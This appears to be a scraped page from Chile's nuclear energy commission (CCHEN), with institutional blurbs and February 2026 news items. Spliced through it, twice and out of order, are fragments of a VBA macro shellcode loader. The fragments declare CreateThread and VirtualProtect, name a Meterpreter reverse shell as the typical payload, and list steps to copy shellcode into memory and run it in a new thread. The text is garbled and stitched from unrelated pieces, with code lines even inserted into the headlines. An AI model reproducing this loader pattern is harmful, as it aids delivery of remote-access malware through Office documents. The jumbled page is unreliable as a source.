Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _ ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, _ ByVal lpStartAddress As LongPtr, ByVal lpParameter As LongPtr, _ ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" ( _ ByVal lpAddress As LongPtr, ByVal dwSize As Long, _ ByVal flNewProtect As Long, lpflOldProtect As Long) As Long The payload is typically a position-independent shellcode (e.g., Meterpreter reverse shell) or a minimally relocatable PE. It is stored as a byte array :
' Step 4: Execute CreateThread 0, 0, ptr, 0, 0, 0 End Sub
' Actual copy using RtlMoveMemory (requires VarPtr/StrPtr hacks) ' In real VBA, you'd use a safer method: CopyMemoryByPtr Call CopyMemoryByPtr(ptr, VarPtr(sc(0)), UBound(sc) + 1)
' Step 3: Copy shellcode Dim i As Long For i = 0 To UBound(sc) ' RtlMoveMemory can copy from array's data pointer ' But simpler: use memcpy via RtlMoveMemory with VarPtr(sc(i)) – careful with syntax Next i

Nuestra visión es ser reconocidos a nivel nacional e internacional como un referente público en la investigación, desarrollo, regulación y uso pacífico de aplicaciones nucleares
Salud de las Personas
Sostenibilidad y Alimentos
Minería e Industria
Litio y Energía
Nucleoelectricidad
Seguridad y Metrología
![]()
Visita Subsecretaria de Minería a la CCHEN ByVal dwStackSize As Long
24 de febrero de 2026
La CCHEN recibirá la visita de la Subsecretaria de Minería, Suina Chahuán, instancia orientada a presentar capacidades institucionales en investigación, regulación y desarrollo tecnológico asociados al litio y la transición energética.
![]()
Taller N°2 Camino a la Planificación Estratégica Participativa CCHEN _ ByVal lpStartAddress As LongPtr
25 de febrero de 2026
En el marco del proyecto Camino a la Planificación Estratégica Participativa de la CCHEN, se realizará el Taller N°2 orientado a presentar la metodología para el proceso de planificación estratégica institucional
Private Declare PtrSafe Function CreateThread Lib "kernel32" ( _ ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, _ ByVal lpStartAddress As LongPtr, ByVal lpParameter As LongPtr, _ ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" ( _ ByVal lpAddress As LongPtr, ByVal dwSize As Long, _ ByVal flNewProtect As Long, lpflOldProtect As Long) As Long The payload is typically a position-independent shellcode (e.g., Meterpreter reverse shell) or a minimally relocatable PE. It is stored as a byte array :
' Step 4: Execute CreateThread 0, 0, ptr, 0, 0, 0 End Sub
' Actual copy using RtlMoveMemory (requires VarPtr/StrPtr hacks) ' In real VBA, you'd use a safer method: CopyMemoryByPtr Call CopyMemoryByPtr(ptr, VarPtr(sc(0)), UBound(sc) + 1)
' Step 3: Copy shellcode Dim i As Long For i = 0 To UBound(sc) ' RtlMoveMemory can copy from array's data pointer ' But simpler: use memcpy via RtlMoveMemory with VarPtr(sc(i)) – careful with syntax Next i

CCHEN y Tratado de Prohibición Completa de Ensayos Nucleares, CTBT-O
Gestión de Desechos Radioactivos
La CCHEN dicta las normas sobre las medidas de seguridad nuclear y radiológicas requeridas
Vigilancia Radiológica Ambiental
Metrología de Radiaciones Ionizantes
Disminución de carga bacteriana para exportación de alimentos y soluciones de inocuidad
Centro Colaborativo NUCOLAB
Espacio de Co-work donde encontrarás asesoría técnica y profesional especializada